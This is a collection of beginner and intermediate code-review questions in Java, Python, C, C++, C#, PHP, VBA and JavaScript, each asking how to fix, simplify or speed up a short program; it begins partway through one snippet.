        int nOne, nTwo;
        Scanner kb = new Scanner(System.in);

        System.out.println("Division");

        System.out.print("\nFirst Number: ");
        nOne = kb.nextInt();

        System.out.print("\nSecond Number: ");
        nTwo = kb.nextInt();

        kb.close();
        System.out.println("\nSum: " + nOne + " / " + nTwo + " = " + (nOne / nTwo));
    }

    public static void multiplication(){
        int nOne, nTwo;
        Scanner kb = new Scanner(System.in);

        System.out.println("Multiplication");

        System.out.print("\nFirst Number: ");
        nOne = kb.nextInt();

        System.out.print("\nSecond Number: ");
        nTwo = kb.nextInt();

        kb.close();
        System.out.println("\nSum: " + nOne + " x " + nTwo + " = " + (nOne * nTwo));
    }
}


texts:
I wrote a simple Python 3 program that takes data from either a file or standard input and xor encrypts or decrypts the data. By default, the output is encoded in base64, however there is a flag for disabling that --raw. It works as intended except when I am using the raw mode, in which case an extra line and some random data is appended to the output when decrypting xor data.

#!/usr/bin/env python3
from itertools import cycle
import argparse
import base64

import re
def xor(data, key):
    return ''.join(chr(ord(str(a)) ^ ord(str(b))) for (a, b) in zip(data, cycle(key)))

# check if a string is base64 encoded.
def is_base64(s):
    pattern = re.compile("^([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$")
    if not s or len(s) < 1:
        return False
    else:
        return pattern.match(s)

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-i', '--infile', type=argparse.FileType('r'), default='-', dest='data', help='Data to encrypt'
                                                                                'or decrypt')
    parser.add_argument('-r', '--raw', dest='raw', default=False, action='store_true', help='Do not use base64 encoding')
    parser.add_argument('-k', '--key', dest='key', help='Key to encrypt with', required=True)
    args = parser.parse_args()

    data = args.data.read()
    key = args.key
    raw = args.raw
    if raw:
        ret = xor(data, key)
        print(str(ret))
    else:
        if is_base64(data):
            # print('is base64')
            decoded = base64.b64decode(data).decode()
            ret = xor(decoded, key)
            print(ret)
        else:
            # print('is not base64')
            ret = xor(data, key)
            encoded = base64.b64encode(bytes(ret, "utf-8"))
            print(encoded.decode())

When running without the --raw flag, everything performs as intended:

$ echo lol|./xor.py -k 123
XV1fOw==
echo lol|./xor.py -k 123 |./xor.py -k 123
lol

However, if I disable base64, something rather odd happens. It's easier to demonstrate then it is to explain:

$ echo lol|./xor.py -k 123 -r |./xor.py -k 123 -r
lol
8

Does anyone know why I am seeing the character 8 appended to the output of xor decrypted data? I have a c program called xorpipe that I use for this exact use case, and it does not suffer this bug. I wanted to rewrite it in Python.

I am looking for other constructive criticism, suggestions, or reviews as well.  Particular, I would like argparse to be able to determine whether the supplied input is either a file, string, or data piped from standard input. This is easy to accomplish bash or C, but I am not sure how best to do this in Python.


texts:
I've built a simple decorator that wraps a function in a general Pygame game loop. It also allows for the programmer to set the tick rate.

import pygame
import sys

pygame.init()

def game_loop(tick_rate=60):
    """
    This simple decorator wraps functions
    with a pygame game loop. Here's an
    example of usage:

        @game_loop(tick_rate=70)
        def main():
            ...
    """
    def game_loop_decorator(function):
        def wrapper(*args, **kwargs):
            clock = pygame.time.Clock()

            while True:
                clock.tick(tick_rate)
                function(*args, **kwargs)

                for event in pygame.event.get():
                    if event.type == pygame.QUIT:
                        pygame.quit()
                        sys.exit(0)

                pygame.display.flip()
        return wrapper
    return game_loop_decorator

Here's some example usage:

screen = pygame.display.set_mode((640, 480))
pygame.display.set_caption("Test game!")

@game_loop(tick_rate=100)
def main():
    font = pygame.font.SysFont("monospace", 15)
    text = font.render("Look! A game loop!", 1, (255, 255, 255))
    screen.blit(text, (50, 50))

if __name__ == "__main__":
    main()


texts: How can I optimize this for speed? (C++)

texts:
Here is my method:

// can change
DWORD step[2] = { 0xAC, 0x723A };
packageType = 1;

DWORD computeLevel(DWORD blockNum)
{
    DWORD num = (blockNum / 0x70E4) * step[1];
    if (blockNum < 0x70E4)
        return num + step[0];
    return (1 << packageType) + num;
}

I am trying to optimize this for speed, as it gets called about 300,000 times and one little operation could add alot of time on. If I change the blockStep to just constant values, this makes it much, much faster. The problem is, is that they can change so I cannot make it const. Also, if I just have it return a straight up 0, no comparisons, it saves my code around 1 minute, 30 seconds, so this function is really slowing me down.

Also, it would be nice if this function could also be enhanced. I already tried by best, but it would be great if it can get better.

DWORD computeLevel0(DWORD blockNum)
{
    WORD quotient1 = (blockNum / 0xAA);
    BYTE quotient2 = (blockNum / 0x70E4);
    DWORD num = quotient1 * 0xAC;

    // optimizations (0 comparison)

    WORD mult1 = quotient1;
    mult1 |= mult1 >> 8;
    mult1 |= mult1 >> 4;
    mult1 |= mult1 >> 2;
    mult1 |= mult1 >> 1;
    mult1 &= 1;

    BYTE mult2 = quotient2;
    mult2 |= mult2 >> 4;
    mult2 |= mult2 >> 2;
    mult2 |= mult2 >> 1;
    mult2 &= 1;

    num += ((quotient2 + 1) << packageType) * mult1;
    num += (((1 << packageType)) * mult2) * mult1;

    return num;
}


texts: Grade calculator for a project with four aspects

texts:
I have a program that will ask the user to input their grades for 4 different sections of a project, then tell them what their total mark is, what grade they got and how many marks away they were from the next grade. I managed to make a single loop for all inputs rather than having a loop for each individual one, but there are still quite a lot of if statements to determine what grade they got and how far away they were from the next one, and I can't figure out how to optimise it since I'm still very new to Java.

import java.util.Arrays;
import java.util.InputMismatchException;
import java.util.Scanner;

public class PortfolioGrade {

    public static void main(String[] args) {
        // TODO Auto-generated method stub
        String[] words = new String[]{"Analysis", "Design", "Implementation", "Evaluation"};
        int[] marks = new int[words.length];
        for(int counter = 1; counter <= words.length; counter++) {
            System.out.println("Enter your mark for the '" + words[counter - 1] + "' part of the project: ");
            while(true) {
                try {
                    Scanner reader = new Scanner(System.in);
                    marks[counter - 1] = reader.nextInt();
                    if(marks[counter - 1] < 0 || marks[counter - 1] > 25) {
                        System.out.println("Please input a number between 0 and 25.");
                        continue;
                    }
                    break;
                } catch(InputMismatchException e) {
                    System.out.println("Please input a valid integer.");
                }
            }
        }

        int totalmark = Arrays.stream(marks).sum();
        String grade = null;
        String nextgrade = null;
        Integer marksaway = null;

        if(totalmark < 2) {
            grade = "U";
            marksaway = 2 - totalmark;
            nextgrade = "1";
        } else if(totalmark >= 2 && totalmark < 4) {
            grade = "1";
            marksaway = 4 - totalmark;
            nextgrade = "2";
        } else if(totalmark >= 4 && totalmark < 13) {
            grade = "2";
            marksaway = 13 - totalmark;
            nextgrade = "3";
        } else if(totalmark >= 13 && totalmark < 22) {
            grade = "3";
            marksaway = 22 - totalmark;
            nextgrade = "4";
        } else if(totalmark >= 22 && totalmark < 31) {
            grade = "4";
            marksaway = 31 - totalmark;
            nextgrade = "5";
        } else if(totalmark >= 31 && totalmark < 41) {
            grade = "5";
            marksaway = 41 - totalmark;
            nextgrade = "6";
        } else if(totalmark >= 41 && totalmark < 54) {
            grade = "6";
            marksaway = 54 - totalmark;
            nextgrade = "7";
        } else if(totalmark >= 54 && totalmark < 67) {
            grade = "7";
            marksaway = 67 - totalmark;
            nextgrade = "8";
        } else if(totalmark >= 67 && totalmark < 80) {
            grade = "8";
            marksaway = 80 - totalmark;
            nextgrade = "9";
        } else if(totalmark >= 80) {
            grade = "9";
        }

        System.out.println("Your total mark was " + totalmark + ".");
        System.out.println("You got a Grade " + grade + ".");
        if(grade == "9") {
            System.out.println("You achieved the highest grade!");
        } else if(marksaway == 1) {
            System.out.println("You were " + marksaway + " mark away from a Grade " + nextgrade + ".");
        } else {
            System.out.println("You were " + marksaway + " marks away from a Grade " + nextgrade + ".");
        }
    }
}


texts: Convert #hashtagstylephrases to a proper list of words

texts:
I'm writing a program to split the words contained in an hashtag.

For example I want to split the hashtags:

#Whatthehello #goback

into:

What the hello go back

import re,pdb
words = []
# corncob_lowercase.txt contains a list of dictionary words
with open('corncob_lowercase.txt', 'rb') as f:
    for read_word in f:
        words.append(read_word.strip())
def func_replace(each_func):
    i = 0
    wordsineach_func = []
    while len(each_func) > 0:
        i = i + 1
        word_found = longest_word(each_func)
        if len(word_found) > 0:
            wordsineach_func.append(word_found)
            each_func = each_func.replace(word_found, "")
    return ' '.join(wordsineach_func)

def longest_word(phrase):
    phrase_length = len(phrase)
    words_found = []
    index = 0
    outerstring = ""
    while index < phrase_length:
        outerstring = outerstring + phrase[index]
        index = index + 1
        if outerstring in words or outerstring.lower() in words:
            words_found.append(outerstring)
    if len(words_found) == 0:
        words_found.append(phrase)
    return max(words_found, key=len)

def check_hashtager(s):
    pdb.set_trace()
    return re.sub(r"#(\w+)", lambda m: func_replace(m.group(1)), s)

if __name__ == '__main__':
    print check_hashtager("#Whatthehello #goback")

I ran this on huge string which >10k hashtags. The function calls make it slow...

Edit 1:
There is something weird that happens when I ran it "#Whatthehello #goback #1". It doesn't stop.


texts:
today I tackled this coding challenge: Remove duplications from string.
I was thinking of either using a Hashmap or a Set but realized that a set might have a longer run time since the way it determines if a numbers is in there or not is by traversing each element. This lead me to use a hashmap instead. I have not taken care of any edge cases but wanted to get people's opinion of this implementation. From what I understand this would be a \$O(n)\$, (\$n\$ being the length of the input String), correct?

  String test = "Banana";
    HashMap<Character, String> nodups = new HashMap<>();
    for(int i = 0; i < test.length();i++){
        nodups.put(test.charAt(i),String.valueOf(test.charAt(i)));
    }

    StringBuilder noDupsString = new StringBuilder();
    for(Character key : nodups.keySet()){
        noDupsString.append(nodups.get(key));
    }

    System.out.println("String value with no dups :" + noDupsString);
}


texts:
I have this piece of code:

List<myItem> items = (from x in db.myItems
                        join y in db.tblParents on x.item_parent equals y.id
                        where !y.hidden
                        orderby x.name
                        select x).ToList();

And it is really slow. How can I optimize it? I need it to be faster. I have no idea how to do this.


texts: Is this roulette selection extension method beautiful or disgusting?

texts:
So I just wrote the following extension method to do roulette selection on a generic list. I'm specifically unsure of the use of the while loop. Is this beautiful or a disgusting mess?

// This is either yuck or beautiful
public static T rouletteSelect<T>(this List<T> list, Func<T, double> fitnessFunc, double max)
{
    T selected;
    while (fitnessFunc(selected = list.getRandom()) / max <= Rand.NextDouble()) { }
    return selected;
}


texts:
N.B. The next stage of this project, which covers parsing filenames and checking numbers against the list produced in this question, is covered here.

I have a list of company numbers (UK companies registered at Companies House) in an Excel spreadsheet. A CRN is an 8-character unique identifier attached to a specific registered corporation (usually 8-digits but not always).

Examples of company numbers:

02492078
OC374102
03637689

This section of code handles:

Retrieving the list of numbers
Validating the numbers
Adding any unique values to a Dictionary object

Later on, they will be used to check if a particular CRN is among the list I am targeting by using the Dictionary.Exists() method.

Option Explicit

Public Const COMPANY_NUMBER_COLUMN As Long = 1
Public Const parentFolderPath As String = "S:\Investments\Data\Companies House\Monthly Companies House Downloads\"

Public Sub ParseAllCompanyRecords()
    '/ Data Structure: "Company Numbers", once input, will be stored as strings
    '/ Company Number: 8-character string, generally 8-digits but sometimes with text prefixes E.G. "OC374102"

    '/ Folder Path for monthly CH downloads: "S:\Investments\Data\Companies House\Monthly Companies House Downloads\"
    '/ Filename Strucutre of a Monthly Folder: [parentFolderPath]"Accounts_Monthly_Data-"[Full Month Name][yyyy]"\" - Square Brackets not in filename
    '/ Filename Structure of an individual filing: [Monthly Folder Path]"Prod224_0005_"[8-character Company Registration Number]"_"[yyyymmdd][.html OR .xml] - Square Brackets not in filename

    Dim targetCompanyNumbers As Scripting.Dictionary
    Set targetCompanyNumbers = GetTargetCompanyNumbers

End Sub

Public Function GetTargetCompanyNumbers() As Scripting.Dictionary

    Dim targetCompanyNumbers As Scripting.Dictionary
    Set targetCompanyNumbers = New Scripting.Dictionary

    Dim finalRow As Long, columnRange As Range
    With wsInputs
        finalRow = .Cells(.Rows.Count, COMPANY_NUMBER_COLUMN).End(xlUp).row
        Set columnRange = .Range(.Cells(2, COMPANY_NUMBER_COLUMN), .Cells(finalRow, COMPANY_NUMBER_COLUMN))
    End With

    Dim columnArray As Variant
    columnArray = columnRange

    Dim LB1 As Long, UB1 As Long
    AssignArrayBounds columnArray, LB1, UB1

    Dim ix As Long
    Dim elementValue As Variant
    Dim companyNumber As String

    For ix = LB1 To UB1
        elementValue = columnArray(ix, 1)
        companyNumber = CompanyNumberFromValue(elementValue)
        If Not targetCompanyNumbers.Exists(companyNumber) Then targetCompanyNumbers.Add companyNumber, companyNumber
    Next ix

    Set GetTargetCompanyNumbers = targetCompanyNumbers

End Function

Public Function CompanyNumberFromValue(ByVal vValue As Variant) As String
    '/ Company Number: 8-character string, generally 8-digits but sometimes with text prefixes E.G. "OC374102"

    Dim textValue As String, trimText As String
    Dim companyNumber As String

    textValue = CStr(vValue)
    trimText = Trim(textValue)

    If IsNumeric(trimText) Then
        companyNumber = Right("00000000" & trimText, 8) '/ Add back any leading zeroes that Excel may have stripped
    ElseIf Len(trimText) = 8 Then
        companyNumber = trimText
    Else
        '/ Not a number, not the correct number of digits. Invalid input.
        companyNumber = vbNullString
    End If

    CompanyNumberFromValue = companyNumber

End Function


texts:
I'm learning C, and currently I follows C99 standard. Here is my implementation of integer-stack, which is just a stack you can do: push, pop, and print the content of the stack.
Here are some problems I currently have:

Is that #define STACK_MAX 1000 a good idea? Should I consider make it configurable in runtime?
It's impossible to make struct int_stack * to int_stack *, like C++, right?

Other than these two problem, I need feedbacks about anything you think important, but I missed out, thank you.

int_stack.h:
#ifndef INT_STACK_H
#define INT_STACK_H

#include <stdio.h>
#include <stdbool.h>
#define STACK_MAX 1000

typedef struct int_stack {
    int top;
    int data[STACK_MAX];

    bool (*push)(struct int_stack *, int);
    bool (*pop)(struct int_stack *, int *);
    int (*size)(struct int_stack *);
    void (*print_stack)(struct int_stack *);

} int_stack;

bool push(int_stack *self, int item) {
    if (self->top == STACK_MAX)
        return false;
    self->data[self->top++] = item;
    return true;
}

bool pop(int_stack *self, int *out) {
    if (size(self) == 0)
        return false;
    *out = self->data[--self->top];
    return true;
}

int size(int_stack *self) {
    return self->top;
}

void print_stack(int_stack *self) {
    printf("| top |\n");
    for (int i = self->top-1; i >= 0; i--)
        printf("| %3d |\n", self->data[i]);
}

void array_zeros_init(int A[], int size) {
    for (int i = 0; i < size; i++)
        A[i] = 0;
}

void stack_init(struct int_stack *stack) {
    stack->top = 0;
    array_zeros_init(stack->data, STACK_MAX);
    stack->push = &push;
    stack->pop = &pop;
    stack->size = &size;
    stack->print_stack = &print_stack;
}

#endif // !INT_STACK_H


texts:
This is pretty straightforward, it takes requests from the frontend, checking if it is present on the request, if it does, an action is taken for that if statement.
I wonder if there is a way to remove some if statements or make it less complicated.
private function applyFiltering($query, $request)
{
    if ($request->has('active_group')) {
        $query->whereNotIn('status_id', [1, 6, 4]);
        $query->whereHas('userStatus', function ($query) use ($request) {
            $query->where('user_id', $request->user()->id)->whereNotIn('status_id', [1, 6, 4]);
        });
    }

    if ($request->has('waiting_group')) {
       $query->whereNotIn('status_id', [1, 6]);
        $query->whereHas('userStatus', function ($query) use ($request) {
              $query->where('user_id', $request->user()->id)->whereNotIn('status_id', [1, 6])->where('status_id',4);
         });
    }

    if ($request->has('meeting_group')) {
        $query->where('type_id', 2);
    }

    if ($request->has('comp_meeting_group')) {
        $query->where('type_id', 4);
    }

    if ($request->has('completed_group')) {
            $query->whereHas('userStatus', function ($query) use ($request) {
                $query->where('user_id', $request->user()->id)->where('status_id', 1);
            });
    }

    if ($request->has('canceled_group')) {
        $query->whereHas('userStatus', function ($query) use ($request) {
            $query->where('user_id', $request->user()->id)->where('status_id', 6);
        });
    }

    if ($request->has('shift_group')) {
        $query->where('status_id', 1)->where('type_id', 6);
    }

    if ($request->has('announce_group')) {
        $query->where('type_id', 3);
    }

    if ($request->has('task_id')) {
        $query->where('id', 'like', '%' . $request->input('task_id') . '%');
    }

    if ($request->has('task_statuses')) {
        $statuses = $request->input('task_statuses');
        $query->whereIn('status_id', $statuses);
    }
    if ($request->has('task_types')) {
        $statuses = $request->input('task_types');
        $query->whereIn('type_id', $statuses);
    }
    if ($request->has('task_priorities')) {
        $statuses = $request->input('task_priorities');
        $query->whereIn('priority_id', $statuses);
    }
    if ($request->has('task_invite_users')) {
        $toUsers = $request->input('task_invite_users');
        $query->whereHas('taskAssignment', function ($query) use ($request, $toUsers) {
            $query->whereIn('assigned_to', $toUsers);
        });

        // $query->whereIn('to_user_id',$statuses);
    }

    if ($request->has('task_users')) {
        $byUsers = $request->input('task_users');
        $query->whereHas('taskAssignment', function ($query) use ($request, $byUsers) {
            $query->whereIn('assigned_by', $byUsers);
        });
    }
}


texts: C++ Circular buffer through Circular iterator

texts:
I saw some question on SO lately involving circular buffer, like a chain of descriptors for data transfer. All solutions involved lots of lines.

I wanted an implementation with as few lines as possible, as inspired by this answer. The idea is not to have a circular buffer but a usual container and a specific iterator able to wrap.

Question: Is it possible to achieve this with as few lines as in the example below or are there hidden pitfalls ?

This code was intended to spin forever on a container which size do not change, more information about iterator validity under containers changes

Additional information after first answers / comments

Similar 2009 question on SO mentioned by Mercury Dime (the question uses the term cyclic or circulator and not circular)

EDIT: Corrections of the more evident errors / typos based on incomputable's answer

#include <iostream>
#include <list>

template <class BaseIter>
class CircularIterator:public BaseIter {
        //inspired from https://stackoverflow.com/a/947754/3972710
        BaseIter begin,end;
    public:
        CircularIterator(BaseIter b, BaseIter e ):BaseIter(b), begin(b), end(e) {}
        CircularIterator & operator ++(void)
        {
            BaseIter::operator++();
            if(*this == end)
                BaseIter::operator=(begin);
            return *this;
        }
        const CircularIterator   operator ++(int)
        {
            const auto oldValue = *this;
            this->operator++();
            return oldValue;
        };

        CircularIterator & operator --(void) = delete;
        const CircularIterator   operator --(int)  = delete;
};

int main()
{
    std::list<int> intList = { 1, 2, 3};
    CircularIterator<std::list<int>::iterator> circIter(intList.begin(),intList.end());

    auto it = circIter++;

    std::cout << *(it++) << "\n";
    std::cout << *(it++) << "\n";
    std::cout << *(it++) << "\n";
    std::cout << *(it++) << "\n";
    std::cout << "..." << "\n";
    std::cout << "Hello world!\n";
    return 0;
}

Original Code

#include <iostream>
#include <list>
using namespace std;
//C++11 at least

template <class baseIter>
class circularIterator:public baseIter {
        //inspired from https://stackoverflow.com/a/947754/3972710
        baseIter begin,end;
    public:
        circularIterator(baseIter b, baseIter e ):baseIter(b), begin(b), end(e) {}
        baseIter & operator ++(void) {  baseIter::operator++();
                                        if(*this == end) baseIter::operator=(begin);
                                        return *this;}
        baseIter & operator ++(int) = delete;
};

int main()
{
    list<int> intList = { 1, 2, 3};
    circularIterator<list<int>::iterator> circIter(intList.begin(),intList.end());

    cout << *circIter << endl;
    cout << *(++circIter) << endl;
    cout << *(++circIter) << endl;
    cout << *(++circIter) << endl;
    cout << *(++circIter) << endl;
    cout << "..." << endl;

    cout << "Hello world!" << endl;
    return 0;
}


texts: My implementation of FixedSizedPriorityQueue

texts:
I implemented a fixed sized priority queue.
How can I improve my code?

public class FixedSizedPriorityQueue {
    private final int capacity;
    private boolean sorted = false;
    private double smallest = Double.POSITIVE_INFINITY;
    private ArrayList<Double> list;

    protected static final Comparator<Double> comparator = new Comparator<Double>() {
        @Override
        public int compare(Double o1, Double o2) {
            return o2.compareTo(o1);
        }
    };

    public FixedSizedPriorityQueue(int capacity) {
        this.capacity = capacity;
        list = new ArrayList<Double>(capacity);
    }

    public void add(double value) {
        if (list.size() < capacity) {
            list.add(value);
            sorted = false;
            if (value < smallest) {
                smallest = value;
            }
        } else {
            if (value > smallest) {
                if (!sorted) {
                    Collections.sort(list, comparator);
                    sorted = true;
                }
                list.set(capacity - 1, value);
                if (list.get(capacity - 2) > value) {
                    smallest = value;
                } else {
                    smallest = list.get(capacity - 2);
                    sorted = false;
                }
            }
        }
    }

    public int getSize() {
        return list.size();
    }

    public Double poll() {
        if (list.size() == 0) return null;
        if (!sorted) {
            Collections.sort(list, comparator);
            sorted = true;
        }
        Double value = list.get(0);
        list.remove(0);
        if (list.size() == 0) smallest = Double.POSITIVE_INFINITY;
        return value;
    }

    public void print() {
        for (int i = 0; i < list.size(); i++) {
            System.out.println(i + ": " + list.get(i));
        }
        System.out.println("Smallest: " + smallest);
    }
}


texts:
How can I improve this code? I wanted to know if there's a possibility to remove the for loop, and UPDATE a different uniqueID for each ID in my database.

<?php

  $reponse = $bdd->prepare("SELECT MAX(ID) FROM tuto WHERE title=''");
  $reponse->execute();

  $IDnow = $reponse->fetch(PDO::FETCH_ASSOC);
  $IDnow = $IDnow['MAX(ID)'];

  for ($i=2 ; $i <= $IDnow ; $i++){

     $reponse = $bdd->prepare("UPDATE tuto SET uniqueID=:uniqueID WHERE uniqueID='' AND title='' AND ID=:i");

     $uniqueID = $donnees['uniqueID'];

     $int = rand(0,51);
     $a_z = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
     $uniqueID = time().$a_z[$int];

     $reponse->execute([':uniqueID' => $uniqueID, 'i' => $i]);
  }
?>


texts:
This code snippet is supposed to utilize async await to resize a photo file into multiple sizes in parallel. I just want to know if I am doing it in the right way. I would love to hear some ideas on how to report resize progress on file like how many of them completed.

public class PhotoProcessor : IPhotoProcessor
{
    public void Resize(string filePath, string dropLocation, List<Size> sizes)
    {
        Parallel.ForEach(sizes, async (size) =>
        {
            var fileName = Path.GetFileName(filePath);
            var result = await Resize(filePath, dropLocation, size);
            Console.WriteLine($"Done {result} Resizing {fileName} to {size}");
        });
    }

    public async Task<bool> Resize(string filePath, string dropLocation, Size size)
    {
        if (!File.Exists(filePath))
        {
            throw new FileNotFoundException($"File {filePath} not found");
        }

        using (var image = new MagickImage(filePath))
        {
            var fileName = Path.GetFileNameWithoutExtension(filePath);
            var extension = Path.GetExtension(filePath);
            var newFileName = $"{fileName}_{size}{extension}";
            var newFilePath = $"{dropLocation}{newFileName}";

            var magickSize = new MagickGeometry(size.W, size.H);
            magickSize.IgnoreAspectRatio = false;
            await Task.Run(() =>
            {
                image.Resize(magickSize);
                image.Write(newFilePath);
            });
        }
        return true;
    }
}


texts: Check if elements of a list are incorporated in a nested dict

texts:
I am reading 4. Built-in Types — Python 3.6.3 documentation
I summarized a dict and a list of builtin_types as follows:
builtin_types_list = ['bytearray', 'bytes', 'classmethod', 'complex', 'dict',
'enumerate', 'filter', 'float', 'frozenset', 'int', 'bool', 'list', 'map',
'memoryview', 'property', 'range', 'reversed', 'set', 'slice',
'staticmethod', 'str', 'super', 'tuple', 'type', 'zip']

structured_builtin_types = {
'primitive': { 'text sequence':{'str'},
             'binary sequeces':{'bytes', 'bytearray', 'memoryview'},
                    'numerics':{'int', 'float', 'complex'},
                   'constants':{'bool':{'True', 'False'}},
                        '        null':{'None'}},
'container': {'sequence':{'sequences':{'tuple', 'list','zip', 'range', 'enumerate', 'reversed'},
                          'iterator' :{'generator', 'map', 'filter'}},
            'collection':{'mapping'  :{'dict'},
                          'sets'     :{'set', 'frozenset'}}},
   'method': {'instance':{'property', 'staticmethod', 'classmethod'},
                 'class':{'super'}}
}

I intend to check all the elements in builtin_types_list are positioned appropriately into structured_builtin_types  without items left.
My solution is firstly converting them to sets then checking if issubset is True.
Since there's nested dicts in the structured_builtin_types, I wrote a recursive function to extract sets from structured_builtin_types

Pseudocode for the logic:
declare myset = set()
loop key and value in items view of structured_builtin_types,
check if value's type is a set, update myset,
check if value's type is a dict, recursively call the function.

My code:
myset =set()
def get_sets(mydict):
    for k, v in mydict.items():
        if isinstance(v, set):
            myset.update(v)
        if isinstance(v, dict):
            get_sets(v)

Run and output:
In [91]: get_sets(structured_builtin_types)
In [93]: print(myset)
{'True', 'dict', 'False', 'frozenset', 'staticmethod', 'generator', 'zip', 'str', 'enumerate', 'None', 'reversed', 'tuple', 'bytes', 'set', 'map', 'complex', 'float', 'classmethod', 'property', 'int', 'bytearray', 'filter', 'memoryview', 'list', 'super', 'range'}
# check if issubset
In [94]: set( builtin_types_list).issubset(myset)
Out[94]: False
#get the difference
In [95]: set(builtin_types_list) - myset
Out[95]: {'bool', 'slice', 'type'}

I ask for an alternative way to solve the problem. Also, complicated but advanced solutions are highly appreciated.


texts: ExcelVBA loop exports data from spreadsheet to table within Excel

texts:
I want to nest a for loop to cycle through the Range.Value but ("B4") throws me off and this can't be avoided.  I was considering using an array to do this but can't seem to get the format correct.  "Q3" is a spreadsheet and "Bac Form" is the attached table imported from a PDF that must be kept.  This code works wonderfully - but it is clunky!  I have 3 other unique PDFs with which to complete a similar task and rather than just forcing this thing to work would like to use this opportunity to improve my VBA for-looping skills.

Private Sub CommandButton1_Click()

Dim lr As Long
Dim FolderPath As String

FolderPath = "C:\Users\Joe.Dimaggio\Desktop\PDFs"

lr = Cells(Rows.Count, 1).End(xlUp).Row
lc = Cells(1, Columns.Count).End(xlToLeft).Column

For x = 2 To lr
    Sheets("Bac Form").Range("A2").Value = _
    Sheets("Q3").Cells(1, 1).Value & Sheets("Q3").Cells(x, 1).Value
    Sheets("Bac Form").Range("A3").Value = _
    Sheets("Q3").Cells(1, 2).Value & Sheets("Q3").Cells(x, 2).Value & _
    " (Third Bacterial Quarter)"
    Sheets("Bac Form").Range("A4").Value = _
    Sheets("Q3").Cells(1, 3).Value & Sheets("Q3").Cells(x, 3).Value
    Sheets("Bac Form").Range("B4").Value = _
    Sheets("Q3").Cells(1, 4).Value & Sheets("Q3").Cells(x, 4).Value
    Sheets("Bac Form").Range("A5").Value = _
    Sheets("Q3").Cells(1, 5).Value & Sheets("Q3").Cells(x, 5).Value
    Sheets("Bac Form").Range("A6").Value = _
    Sheets("Q3").Cells(1, 6).Value & Sheets("Q3").Cells(x, 6).Value
    Sheets("Bac Form").Range("A7").Value = _
    Sheets("Q3").Cells(1, 7).Value & Sheets("Q3").Cells(x, 7).Value
    Sheets("Bac Form").Range("A8").Value = _
    Sheets("Q3").Cells(1, 8).Value & Sheets("Q3").Cells(x, 8).Value
    Sheets("Bac Form").Range("A9").Value = _
    Sheets("Q3").Cells(1, 9).Value & Sheets("Q3").Cells(x, 9).Value
    Sheets("Bac Form").Range("A10").Value = _
    Sheets("Q3").Cells(1, 10).Value & Sheets("Q3").Cells(x, 10).Value
    Sheets("Bac Form").Range("A11").Value = _
    Sheets("Q3").Cells(1, 11).Value & Sheets("Q3").Cells(x, 11).Value
    Sheets("Bac Form").Range("A13").Value = _
    Sheets("Q3").Cells(1, 12).Value & Sheets("Q3").Cells(x, 12).Value
    Sheets("Bac Form").Range("A14").Value = _
    Sheets("Q3").Cells(1, 13).Value & Sheets("Q3").Cells(x, 13).Value
    Sheets("Bac Form").Range("A15").Value = _
    Sheets("Q3").Cells(1, 14).Value & Sheets("Q3").Cells(x, 14).Value & _
    " colony/100 ml"
    Sheets("Bac Form").Range("A16").Value = _
    Sheets("Q3").Cells(1, 15).Value & Sheets("Q3").Cells(x, 15).Value
    Sheets("Bac Form").Range("A17").Value = _
    Sheets("Q3").Cells(1, 16).Value & Sheets("Q3").Cells(x, 16).Value & _
    " MPN/100 ml"
    Sheets("Bac Form").Range("A18").Value = _
    Sheets("Q3").Cells(1, 17).Value & Sheets("Q3").Cells(x, 17).Value

        Worksheets("Bac Form").ExportAsFixedFormat Type:=xlTypePDF, Filename:=FolderPath & "\" & _
        Worksheets("Bac Form").Name & "(Q3)" & (x - 1), openafterpublish:=False

Next x

End Sub

Here is the PDF form after importing it into Excel:


texts:
I wrote this as an academic exercise over on CA.  It is supposed to tell a true story about two drag racers, one in his 80's who beat a young world champion in cars that traverse a 1/4 mile in 3 seconds at 300 mph.  It is structured to let the old man win every time because it is based on a true story.  I did it mainly to explore objects.  The story has been left out for brevity.

var comedy;
comedy = function () {

    confirm("In the world of motorsports, 'snip'");
    function dragRacer(name, age, drink, cocktail) {
        this.name = name;
        this.age = age;
        this.drink = drink;
        this.cocktail = cocktail;
    }

    var chris = new dragRacer("Chris Karamesines", 82, "Nitro Methane");
    var tony = new dragRacer("Tony Shumacher", 43, null, "Blueberry Vodka in lime soda");

    dragRacer.prototype.rt = function () {
        var reactionTime = Math.random();
        return reactionTime;
    };

    dragRacer.prototype.et = function () {
        var elapsedTime = Math.random() + 3.70;
       return elapsedTime;
    };

    var chrisET = chris.et();
    var tonyET = tony.et();
    var chrisRT = chris.rt();
    var tonyRT = tony.rt();

    if (chrisRT <= tonyRT) {
        chrisRT = tonyRT + 0.09;
    }
    console.log(chrisRT);//test
    console.log(tonyRT);//test

    if (chrisRT <= tonyRT) {
        chrisRT = 0.19 + tonyRT;
    }
    if (tonyET <= chrisET) {
      tonyET = chrisET + 1.2;
    }

    chrisRT = chrisRT.toFixed(2);
    tonyRT = tonyRT.toFixed(2);
    chrisET = chrisET.toFixed(2);
    tonyET = tonyET.toFixed(2);
    console.log(chrisRT);
    console.log(tonyRT);

    console.log(chrisET);//test
    console.log(tonyET);//test

    confirm("Chris' favorite drink is " + chris.drink + " and " + chris.age +//
        " and " + chrisET + " and " + chrisRT + " . ");

    confirm("Tony' favorite cocktail is " + tony.cocktail + " and " + tony.age +//
        " and " + tonyET + " and " + tonyRT + " . ");
};
comedy();


texts:
I am learning C and wrote a function to concatenate two strings in C. Please let help me improve it.

#include <stdio.h>
#include <string.h>
void concat (char result[], const char str1[], int n1, const char str2[], int n2)
{
    int i, j;
    // copy str1 to result
    for ( i = 0; i < n1; ++i )
        result[i] = str1[i];

    // copy str2 to result
    for ( j = 0; j < n2; ++j )
        result[n1 + j] = str2[j];
}
int main (void)
{

    const char s1[5] = { 'T', 'e', 's', 't', ' '};
    const char s2[6] = { 'w', 'o', 'r', 'k', 's', '.' };
    char s3[11];

    int i;
    concat (s3, s1, 5, s2, 6);

    for ( i = 0; i < 11; ++i )
        printf ("%c", s3[i]);

    printf ("\n");

    return 0;
}


texts:
This program goes through 7 common logical functions (AND, OR, NOT, NOR, XOR, XNOR, and NAND) and generates and prints truth tables for them all.

#!/usr/bin/env python2
# coding:utf-8
import operator
import itertools

table = list(itertools.product([False, True], repeat=2))

